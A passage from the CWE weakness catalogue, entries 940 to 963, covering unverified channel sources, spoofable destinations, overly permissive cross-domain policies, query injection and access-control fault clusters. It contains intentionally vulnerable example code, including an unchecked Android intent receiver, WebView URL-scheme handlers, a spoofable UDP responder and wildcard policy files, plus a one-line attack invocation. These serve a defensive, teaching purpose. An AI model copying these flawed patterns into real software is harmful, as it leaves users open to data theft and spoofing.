**Javascript Example:**

Attack

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

**Observed Examples**

Reference	Description
CVE-2013-5725	URL scheme has action replace which requires no user prompt and allows remote attackers to perform undesired actions.
CVE-2013-5726	URL scheme has action follow and favorite which allows remote attackers to force user to perform undesired actions.

**Potential Mitigations****Architecture and Design**

Utilize a user prompt pop-up to authorize potentially harmful actions such as those modifying data or dealing with sensitive information.

When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if a whitelist of applications to interface with is appropriate.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		862	Missing Authorization	1000	1299

**References**

Guillaume Ross. "Scheming for Privacy and Security". 2013-11-11. < [http://brooksreview.net/2013/11/guest-post\\_scheming-for-privacy-and-security/](http://brooksreview.net/2013/11/guest-post_scheming-for-privacy-and-security/) >.

# CWE-940: Improper Verification of Source of a Communication Channel

Weakness ID: 940 (Weakness Base)

Status: Incomplete

## Description

### Summary

The software establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.

### Extended Description

When an attacker can successfully establish a communication channel from an untrusted origin, the attacker may be able to gain privileges and access unexpected functionality.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Language-independent

#### Architectural Paradigms

- Mobile Application

### Common Consequences

#### Access Control

#### Other

#### Gain privileges / assume identity

#### Varies by context

An attacker can access any functionality that is inadvertently accessible to the source.

### Demonstrative Examples

#### Example 1:

This Android application will remove a user account when it receives an intent to do so:

#### Java Example:

Bad Code

```
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        int userID = intent.getIntExtra("userID");
        destroyUserData(userID);
    }
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create a whitelist of trusted applications using the manifest.xml file.

#### Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

#### Java Example:

Bad Code

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeToView(view, UserData);
        }
        return false;
    }
}
```

```

}
else{
    return true;
}
}
}

```

**Objective-C Example:**

Bad Code

```

// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest
navigationType:(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeDataToView:[URL query]];
        }
        return NO;
    }
    return YES;
}

```

A call into native code can then be initiated by passing parameters within the URL:

**Javascript Example:**

Attack

```

window.location = examplescheme://method?parameter=value

```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

**Observed Examples**

Reference	Description
CVE-2000-1218	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning
CVE-2001-1452	DNS server caches glue records received from non-delegated name servers
CVE-2005-0877	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning

**Potential Mitigations****Architecture and Design**

Use a mechanism that can validate the identity of the source, such as a certificate, and validate the integrity of data to ensure that it cannot be modified in transit using a man-in-the-middle attack.

When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if a whitelist of applications to interface with is appropriate.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	<b>699</b> <b>1000</b>	1349

**Relationship Notes**

While many access control issues involve authenticating the user, this weakness is more about authenticating the actual source of the communication channel itself; there might not be any "user" in such cases.

**References**

Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995-08-01. <  
<http://cwe.mitre.org/documents/sources/ATaxonomyofSecurityFaultsintheUNIXOperatingSystem%5BAslam95%5D.pdf> >.

# CWE-941: Incorrectly Specified Destination in a Communication Channel

**Weakness ID:** 941 (*Weakness Base*)**Status:** Incomplete

## Description

### Summary

The software creates a communication channel to initiate an outgoing request to an actor, but it does not correctly specify the intended destination for that actor.

### Extended Description

Attackers at the destination may be able to spoof trusted servers to steal data or cause a denial of service.

There are at least two distinct weaknesses that can cause the software to communicate with an unintended destination:

If the software allows an attacker to control which destination is specified, then the attacker can cause it to connect to an untrusted or malicious destination. For example, because UDP is a connectionless protocol, UDP packets can be spoofed by specifying a false source address in the packet; when the server receives the packet and sends a reply, it will specify a destination by using the source of the incoming packet - i.e., the false source. The server can then be tricked into sending traffic to the wrong host, which is effective for hiding the real source of an attack and for conducting a distributed denial of service (DDoS). As another example, server-side request forgery (SSRF) and XML External Entity (XXE) can be used to trick a server into making outgoing requests to hosts that cannot be directly accessed by the attacker due to firewall restrictions.

If the software incorrectly specifies the destination, then an attacker who can control this destination might be able to spoof trusted servers. While the most common occurrence is likely due to misconfiguration by an administrator, this can be resultant from other weaknesses. For example, the software might incorrectly parse an e-mail or IP address and send sensitive data to an unintended destination. As another example, an Android application may use a "sticky broadcast" to communicate with a receiver for a particular application, but since sticky broadcasts can be processed by *\*any\** receiver, this can allow a malicious application to access restricted data that was only intended for a different application.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Language-independent

#### Architectural Paradigms

- Mobile Application

### Demonstrative Examples

This code listens on a port for DNS requests and sends the result to the requesting address.

#### Python Example:

*Bad Code*

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
    data = sock.recvfrom(1024)
    if not data:
        break
    (requestIP, nameToResolve) = parseUDPpacket(data)
    record = resolveName(nameToResolve)
    sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

## Observed Examples

Reference	Description
CVE-1999-0513	Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses.
CVE-1999-1379	DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker.
CVE-2013-5211	composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses.

## Relationships

Nature	Type	ID	Name	✓	Page
CanPrecede		406	Insufficient Control of Network Message Volume (Network Amplification)	1000	704
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	699 1000	1349

## References

US-CERT. "UDP-based Amplification Attacks". 2014-01-17. < <https://www.us-cert.gov/ncas/alerts/TA14-017A> >.

Fortify. "Android Bad Practices: Sticky Broadcast". < [http://www.hpenterprisesecurity.com/vulncat/en/vulncat/java/android\\_bad\\_practices\\_sticky\\_broadcast.html](http://www.hpenterprisesecurity.com/vulncat/en/vulncat/java/android_bad_practices_sticky_broadcast.html) >.

## Maintenance Notes

This entry will be made more comprehensive in later CWE versions.

# CWE-942: Overly Permissive Cross-domain Whitelist

Weakness ID: 942 (*Weakness Variant*)

Status: Incomplete

## Description

### Summary

The software uses a cross-domain policy file that includes domains that should not be trusted.

### Extended Description

A cross-domain policy file ("crossdomain.xml" in Flash and "clientaccesspolicy.xml" in Silverlight) defines a whitelist of domains from which a server is allowed to make cross-domain requests. When making a cross-domain request, the Flash or Silverlight client will first look for the policy file on the target server. If it is found, and the domain hosting the application is explicitly allowed to make requests, the request is made.

Therefore, if a cross-domain policy file includes domains that should not be trusted, such as when using wildcards, then the application could be attacked by these untrusted domains.

An overly permissive policy file allows many of the same attacks seen in Cross-Site Scripting (CWE-79). Once the user has executed a malicious Flash or Silverlight application, they are vulnerable to a variety of attacks. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site.

In many cases, the attack can be launched without the victim even being aware of it.

## Time of Introduction

- Implementation
- Architecture and Design

## Applicable Platforms

### Languages

- Language-independent

### Architectural Paradigms

- Web-based

## Common Consequences

**Confidentiality**

**Integrity**

**Availability**

**Access Control**

**Execute unauthorized code or commands**

**Bypass protection mechanism**

**Read application data**

**Varies by context**

An attacker may be able to bypass the web browser's same-origin policy.

An attacker can exploit the weakness to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running ActiveX controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.

**Demonstrative Examples**

These cross-domain policy files mean to allow Flash and Silverlight applications hosted on other domains to access its data:

Flash crossdomain.xml :

*Bad Code*

```
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="*.example.com"/>
<allow-access-from domain="*" />
</cross-domain-policy>
```

Silverlight clientaccesspolicy.xml :

```
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="SOAPAction">
<domain uri="*" />
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>
```

These entries are far too permissive, allowing any Flash or Silverlight application to send requests. A malicious application hosted on any other web site will be able to send requests on behalf of any user tricked into executing it.

**Observed Examples**

Reference	Description
CVE-2007-6243	Chain: Adobe Flash Player does not sufficiently restrict the interpretation and usage of cross-domain policy files, which makes it easier for remote attackers to conduct cross-domain and cross-site scripting (XSS) attacks.
CVE-2008-4822	Chain: Adobe Flash Player and earlier does not properly interpret policy files, which allows remote attackers to bypass a non-root domain policy.
CVE-2010-3636	Chain: Adobe Flash Player does not properly handle unspecified encodings during the parsing of a cross-domain policy file, which allows remote web servers to bypass intended access restrictions via unknown vectors.
CVE-2012-2292	Product has a Silverlight cross-domain policy that does not restrict access to another application, which allows remote attackers to bypass the Same Origin Policy.
CVE-2014-2049	The default Flash Cross Domain policies in a product allows remote attackers to access user files.

**Potential Mitigations**




**Architecture and Design****Identify and Reduce Attack Surface**

Avoid using wildcards in the cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.

**Architecture and Design****Operation****Environment Hardening****Identify and Reduce Attack Surface**

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		183	Permissive Whitelist	1000	352
ChildOf		284	Improper Access Control	<b>699</b> <b>1000</b>	499
ChildOf		668	Exposure of Resource to Wrong Sphere	1000	1035

**References**

Apurva Udaykumar. "Setting a crossdomain.xml file for HTTP streaming". Adobe. 2012-11-19. < <http://www.adobe.com/devnet/adobe-media-server/articles/cross-domain-xml-for-streaming.html> >.

Adobe. "Cross-domain policy for Flash movies". Adobe. < [http://kb2.adobe.com/cps/142/tn\\_14213.html](http://kb2.adobe.com/cps/142/tn_14213.html) >.

Microsoft Corporation. "HTTP Communication and Security with Silverlight". < <http://msdn.microsoft.com/en-us/library/cc838250.aspx> >.

Microsoft Corporation. "Network Security Access Restrictions in Silverlight". < <http://msdn.microsoft.com/en-us/library/cc645032.aspx> >.

Dongseok Jang, Aishwarya Venkataraman, G. Michael Sawka and Hovav Shacham. "Analyzing the Crossdomain Policies of Flash Applications". 2011-05. < <http://cseweb.ucsd.edu/~hovav/dist/crossdomain.pdf> >.

## CWE-943: Improper Neutralization of Special Elements in Data Query Logic

Weakness ID: 943 (Weakness Class)

Status: Incomplete

**Description****Summary**

The application generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.

**Extended Description**

Depending on the capabilities of the query language, an attacker could inject additional logic into the query to:

- Modify the intended selection criteria, thus changing which data entities (e.g., records) are returned, modified, or otherwise manipulated

- Append additional commands to the query

- Return more entities than intended

- Return fewer entities than intended

- Cause entities to be sorted in an unexpected way

The ability to execute additional commands or change which entities are returned has obvious risks. But when the application logic depends on the order or number of entities, this can also lead to vulnerabilities. For example, if the application query expects to return only one entity that specifies an administrative user, but an attacker can change which entities are returned, this could cause the logic to return information for a regular user and incorrectly assume that the user has administrative privileges.

While this weakness is most commonly associated with SQL injection, there are many other query languages that are also subject to injection attacks, including HTSQL, LDAP, DQL, XQuery, Xpath, and "NoSQL" languages.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Confidentiality

##### Integrity

##### Availability

##### Access Control

##### Bypass protection mechanism

##### Read application data

##### Modify application data

##### Varies by context

#### Observed Examples

Reference	Description
CVE-2014-2508CWE-2014-2500	Documentum Query Language (DQL)

#### Relationships

Nature	Type	ID	Name	<input type="checkbox"/>	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	<b>699</b> <b>1000</b>	113
ParentOf		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	<b>699</b> <b>1000</b>	159
ParentOf		90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	<b>699</b> <b>1000</b>	169
ParentOf		643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	<b>699</b> <b>1000</b>	998
ParentOf		652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	<b>699</b> <b>1000</b>	1009

#### Relationship Notes

It could be argued that data query languages are effectively a command language - albeit with a limited set of commands - and thus any query-language injection issue could be treated as a child of CWE-74. However, CWE-943 is intended to better organize query-oriented issues to separate them from fully-functioning programming languages, and also to provide a more precise identifier for the many query languages that do not have their own CWE identifier.

#### Maintenance Notes

This entry will be made more comprehensive in future CWE versions.

## CWE-944: SFP Secondary Cluster: Access Management

Category ID: 944 (Category)

Status: Incomplete

#### Description

##### Summary

This category identifies Software Fault Patterns (SFPs) within the Access Management cluster.

#### Relationships

Nature	Type	ID	Name	<input type="checkbox"/>	Page
ChildOf		899	SFP Primary Cluster: Access Control	<b>888</b>	1327
ParentOf		282	Improper Ownership Management	<b>888</b>	497
ParentOf		283	Unverified Ownership	<b>888</b>	498
ParentOf		284	Improper Access Control	<b>888</b>	499
ParentOf		286	Incorrect User Management	<b>888</b>	507

Nature	Type	ID	Name	V	Page
ParentOf	B	708	Incorrect Ownership Assignment	888	1108

## CWE-945: SFP Secondary Cluster: Insecure Resource Access

Category ID: 945 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Access cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	899	SFP Primary Cluster: Access Control	888	1327
ParentOf	C	285	Improper Authorization	888	501
ParentOf	C	424	Improper Protection of Alternate Path	888	727
ParentOf	B	639	Authorization Bypass Through User-Controlled Key	888	988
ParentOf	V	650	Trusting HTTP Permission Methods on the Server Side	888	1007

## CWE-946: SFP Secondary Cluster: Insecure Resource Permissions

Category ID: 946 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Permissions cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	899	SFP Primary Cluster: Access Control	888	1327
ParentOf	V	276	Incorrect Default Permissions	888	490
ParentOf	V	277	Insecure Inherited Permissions	888	492
ParentOf	V	278	Insecure Preserved Inherited Permissions	888	493
ParentOf	V	279	Incorrect Execution-Assigned Permissions	888	494
ParentOf	B	281	Improper Preservation of Permissions	888	496
ParentOf	V	560	Use of umask() with chmod-style Argument	888	895
ParentOf	C	732	Incorrect Permission Assignment for Critical Resource	888	1121

## CWE-947: SFP Secondary Cluster: Authentication Bypass

Category ID: 947 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Authentication Bypass cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	898	SFP Primary Cluster: Authentication	888	1326
ParentOf	C	287	Improper Authentication	888	507
ParentOf	B	288	Authentication Bypass Using an Alternate Path or Channel	888	512
ParentOf	V	289	Authentication Bypass by Alternate Name	888	513
ParentOf	B	303	Incorrect Implementation of Authentication Algorithm	888	535
ParentOf	B	304	Missing Critical Step in Authentication	888	535

Nature	Type	ID	Name	V	Page
ParentOf	B	305	Authentication Bypass by Primary Weakness	888	536
ParentOf	B	308	Use of Single-factor Authentication	888	544
ParentOf	B	309	Use of Password System for Primary Authentication	888	545
ParentOf	G	592	Authentication Bypass Issues	888	933
ParentOf	B	603	Use of Client-Side Authentication	888	950

## CWE-948: SFP Secondary Cluster: Digital Certificate

Category ID: 948 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Digital Certificate cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	898	SFP Primary Cluster: Authentication	888	1326
ParentOf	B	296	Improper Following of a Certificate's Chain of Trust	888	523
ParentOf	V	297	Improper Validation of Certificate with Host Mismatch	888	525
ParentOf	V	298	Improper Validation of Certificate Expiration	888	527
ParentOf	V	299	Improper Check for Certificate Revocation	888	528
ParentOf	V	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created	888	934
ParentOf	V	599	Missing Validation of OpenSSL Certificate	888	940

## CWE-949: SFP Secondary Cluster: Faulty Endpoint Authentication

Category ID: 949 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Endpoint Authentication cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	898	SFP Primary Cluster: Authentication	888	1326
ParentOf	V	293	Using Referer Field for Authentication	888	518
ParentOf	V	302	Authentication Bypass by Assumed-Immutable Data	888	533
ParentOf	G	345	Insufficient Verification of Data Authenticity	888	600
ParentOf	B	346	Origin Validation Error	888	602
ParentOf	V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action	888	608
ParentOf	B	360	Trust of System Event Data	888	625
ParentOf	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	888	889
ParentOf	B	565	Reliance on Cookies without Validation and Integrity Checking	888	901
ParentOf	V	647	Use of Non-Canonical URL Paths for Authorization Decisions	888	1003

## CWE-950: SFP Secondary Cluster: Hardcoded Sensitive Data

Category ID: 950 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Hardcoded Sensitive Data cluster.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	898	SFP Primary Cluster: Authentication	888	1326
ParentOf	V	258	Empty Password in Configuration File	888	458
ParentOf	B	259	Use of Hard-coded Password	888	459
ParentOf	B	321	Use of Hard-coded Cryptographic Key	888	565
ParentOf	V	547	Use of Hard-coded, Security-relevant Constants	888	885

## CWE-951: SFP Secondary Cluster: Insecure Authentication Policy

Category ID: 951 (Category)

Status: Incomplete

#### Description

##### Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Authentication Policy cluster.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	898	SFP Primary Cluster: Authentication	888	1326
ParentOf	V	262	Not Using Password Aging	888	466
ParentOf	B	263	Password Aging with Long Expiration	888	467
ParentOf	B	521	Weak Password Requirements	888	861
ParentOf	V	556	ASP.NET Misconfiguration: Use of Identity Impersonation	888	892
ParentOf	B	613	Insufficient Session Expiration	888	960
ParentOf	B	645	Overly Restrictive Account Lockout Mechanism	888	1000

## CWE-952: SFP Secondary Cluster: Missing Authentication

Category ID: 952 (Category)

Status: Incomplete

#### Description

##### Summary

This category identifies Software Fault Patterns (SFPs) within the Missing Authentication cluster.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	898	SFP Primary Cluster: Authentication	888	1326
ParentOf	V	306	Missing Authentication for Critical Function	888	537
ParentOf	V	620	Unverified Password Change	888	967

## CWE-953: SFP Secondary Cluster: Missing Endpoint Authentication

Category ID: 953 (Category)

Status: Incomplete

#### Description

##### Summary

This category identifies Software Fault Patterns (SFPs) within the Missing Endpoint Authentication cluster.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	898	SFP Primary Cluster: Authentication	888	1326
ParentOf	V	422	Unprotected Windows Messaging Channel ("Shatter")	888	725

Nature	Type	ID	Name	V	Page
ParentOf	B	425	Direct Request ('Forced Browsing')	888	727

## CWE-954: SFP Secondary Cluster: Multiple Binds to the Same Port

Category ID: 954 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Multiple Binds to the Same Port cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	898	SFP Primary Cluster: Authentication	888	1326
ParentOf	B	605	Multiple Binds to the Same Port	888	951

## CWE-955: SFP Secondary Cluster: Unrestricted Authentication

Category ID: 955 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Authentication cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	898	SFP Primary Cluster: Authentication	888	1326
ParentOf	B	307	Improper Restriction of Excessive Authentication Attempts	888	541

## CWE-956: SFP Secondary Cluster: Channel Attack

Category ID: 956 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Channel Attack cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	902	SFP Primary Cluster: Channel	888	1328
ParentOf	B	290	Authentication Bypass by Spoofing	888	514
ParentOf	B	294	Authentication Bypass by Capture-replay	888	520
ParentOf	C	300	Channel Accessible by Non-Endpoint ('Man-in-the-Middle')	888	530
ParentOf	V	301	Reflection Attack in an Authentication Protocol	888	532
ParentOf	B	419	Unprotected Primary Channel	888	723
ParentOf	B	420	Unprotected Alternate Channel	888	723
ParentOf	B	421	Race Condition During Access to Alternate Channel	888	724
ParentOf	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	888	753

## CWE-957: SFP Secondary Cluster: Protocol Error

Category ID: 957 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Protocol Error cluster.



## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	902	SFP Primary Cluster: Channel	888	1328
ParentOf	B	353	Missing Support for Integrity Check	888	616
ParentOf	C	435	Interaction Error	888	748
ParentOf	B	436	Interpretation Conflict	888	749
ParentOf	B	437	Incomplete Model of Endpoint Features	888	751
ParentOf	C	757	Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')	888	1152

## CWE-958: SFP Secondary Cluster: Broken Cryptography

Category ID: 958 (Category)

Status: Incomplete

## Description

## Summary

This category identifies Software Fault Patterns (SFPs) within the Broken Cryptography cluster.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	903	SFP Primary Cluster: Cryptography	888	1328
ParentOf	B	325	Missing Required Cryptographic Step	888	570
ParentOf	B	327	Use of a Broken or Risky Cryptographic Algorithm	888	573
ParentOf	B	328	Reversible One-Way Hash	888	578
ParentOf	B	759	Use of a One-Way Hash without a Salt	888	1153
ParentOf	B	760	Use of a One-Way Hash with a Predictable Salt	888	1157

## CWE-959: SFP Secondary Cluster: Weak Cryptography

Category ID: 959 (Category)

Status: Incomplete

## Description

## Summary

This category identifies Software Fault Patterns (SFPs) within the Weak Cryptography cluster.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	903	SFP Primary Cluster: Cryptography	888	1328
ParentOf	V	261	Weak Cryptography for Passwords	888	464
ParentOf	B	322	Key Exchange without Entity Authentication	888	567
ParentOf	B	323	Reusing a Nonce, Key Pair in Encryption	888	568
ParentOf	B	324	Use of a Key Past its Expiration Date	888	569
ParentOf	C	326	Inadequate Encryption Strength	888	571
ParentOf	V	329	Not Using a Random IV with CBC Mode	888	580
ParentOf	B	347	Improper Verification of Cryptographic Signature	888	604
ParentOf	B	640	Weak Password Recovery Mechanism for Forgotten Password	888	989

## CWE-960: SFP Secondary Cluster: Ambiguous Exception Type

Category ID: 960 (Category)

Status: Incomplete

## Description

## Summary

This category identifies Software Fault Patterns (SFPs) within the Ambiguous Exception Type cluster.

## Relationships



Nature	Type	ID	Name	V	Page
ChildOf	C	889	SFP Primary Cluster: Exception Management	888	1324
ParentOf	B	396	<i>Declaration of Catch for Generic Exception</i>	888	682
ParentOf	B	397	<i>Declaration of Throws for Generic Exception</i>	888	683

## CWE-961: SFP Secondary Cluster: Incorrect Exception Behavior

Category ID: 961 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Exception Behavior cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	889	SFP Primary Cluster: Exception Management	888	1324
ParentOf	B	392	<i>Missing Report of Error Condition</i>	888	677
ParentOf	B	393	<i>Return of Wrong Status Code</i>	888	678
ParentOf	B	455	<i>Non-exit on Failed Initialization</i>	888	769
ParentOf	V	460	<i>Improper Cleanup on Thrown Exception</i>	888	777
ParentOf	B	544	<i>Missing Standardized Error Handling Mechanism</i>	888	883
ParentOf	B	584	<i>Return Inside Finally Block</i>	888	924
ParentOf	C	636	<i>Not Failing Securely ('Failing Open')</i>	888	983
ParentOf	C	703	<i>Improper Check or Handling of Exceptional Conditions</i>	888	1102

## CWE-962: SFP Secondary Cluster: Unchecked Status Condition

Category ID: 962 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Unchecked Status Condition cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	889	SFP Primary Cluster: Exception Management	888	1324
ParentOf	B	248	<i>Uncaught Exception</i>	888	438
ParentOf	B	252	<i>Unchecked Return Value</i>	888	446
ParentOf	B	253	<i>Incorrect Check of Function Return Value</i>	888	451
ParentOf	B	273	<i>Improper Check for Dropped Privileges</i>	888	485
ParentOf	B	280	<i>Improper Handling of Insufficient Permissions or Privileges</i>	888	495
ParentOf	B	372	<i>Incomplete Internal State Distinction</i>	888	651
ParentOf	C	390	<i>Detection of Error Condition Without Action</i>	888	671
ParentOf	B	391	<i>Unchecked Error Condition</i>	888	675
ParentOf	B	394	<i>Unexpected Status Code or Return Value</i>	888	679
ParentOf	B	395	<i>Use of NullPointerException Catch to Detect NULL Pointer Dereference</i>	888	680
ParentOf	B	431	<i>Missing Handler</i>	888	739
ParentOf	V	478	<i>Missing Default Case in Switch Statement</i>	888	804
ParentOf	B	484	<i>Omitted Break Statement in Switch</i>	888	817
ParentOf	B	600	<i>Uncaught Exception in Servlet</i>	888	941
ParentOf	B	665	<i>Improper Initialization</i>	888	1027

Nature	Type	ID	Name	V	Page
ParentOf	<b>C</b>	754	Improper Check for Unusual or Exceptional Conditions	888	1143
ParentOf	<b>C</b>	755	Improper Handling of Exceptional Conditions	888	1150

## CWE-963: SFP Secondary Cluster: Exposed Data

Category ID: 963 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Exposed Data cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	<b>C</b>	895	SFP Primary Cluster: Information Leak	888	1326
ParentOf	<b>V</b>	5	J2EE Misconfiguration: Data Transmission Without Encryption	888	2
ParentOf	<b>V</b>	7	J2EE Misconfiguration: Missing Custom Error Page	888	5
ParentOf	<b>V</b>	8	J2EE Misconfiguration: Entity Bean Declared Remote	888	6
ParentOf	<b>V</b>	11	ASP.NET Misconfiguration: Creating Debug Binary	888	8
ParentOf	<b>V</b>	12	ASP.NET Misconfiguration: Missing Custom Error Page	888	9
ParentOf	<b>V</b>	13	ASP.NET Misconfiguration: Password in Configuration File	888	11
ParentOf	<b>B</b>	14	Compiler Removal of Code to Clear Buffers	888	12
ParentOf	<b>B</b>	117	Improper Output Neutralization for Logs	888	223
ParentOf	<b>C</b>	200	Information Exposure	888	384
ParentOf	<b>V</b>	201	Information Exposure Through Sent Data	888	387
ParentOf	<b>B</b>	209	Information Exposure Through an Error Message	888	397
ParentOf	<b>B</b>	210	Information Exposure Through Self-generated Error Message	888	402
ParentOf	<b>B</b>	211	Information Exposure Through Externally-generated Error Message	888	403
ParentOf	<b>B</b>	212	Improper Cross-boundary Removal of Sensitive Data	888	405
ParentOf	<b>B</b>	213	Intentional Information Exposure	888	407
ParentOf	<b>V</b>	214	Information Exposure Through Process Environment	888	408
ParentOf	<b>V</b>	215	Information Exposure Through Debug Information	888	409
ParentOf	<b>V</b>	219	Sensitive Data Under Web Root	888	412
ParentOf	<b>V</b>	220	Sensitive Data Under FTP Root	888	412
ParentOf	<b>B</b>	226	Sensitive Information Uncleared Before Release	888	417
ParentOf	<b>V</b>	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	888	434
ParentOf	<b>V</b>	256	Plaintext Storage of a Password	888	454
ParentOf	<b>B</b>	257	Storing Passwords in a Recoverable Format	888	456
ParentOf	<b>V</b>	260	Password in Configuration File	888	463
ParentOf	<b>B</b>	311	Missing Encryption of Sensitive Data	888	548
ParentOf	<b>B</b>	312	Cleartext Storage of Sensitive Information	888	553
ParentOf	<b>V</b>	313	Cleartext Storage in a File or on Disk	888	556
ParentOf	<b>V</b>	314	Cleartext Storage in the Registry	888	557
ParentOf	<b>V</b>	315	Cleartext Storage of Sensitive Information in a Cookie	888	558
ParentOf	<b>V</b>	316	Cleartext Storage of Sensitive Information in Memory	888	559
ParentOf	<b>V</b>	317	Cleartext Storage of Sensitive Information in GUI	888	560
ParentOf	<b>V</b>	318	Cleartext Storage of Sensitive Information in Executable	888	561
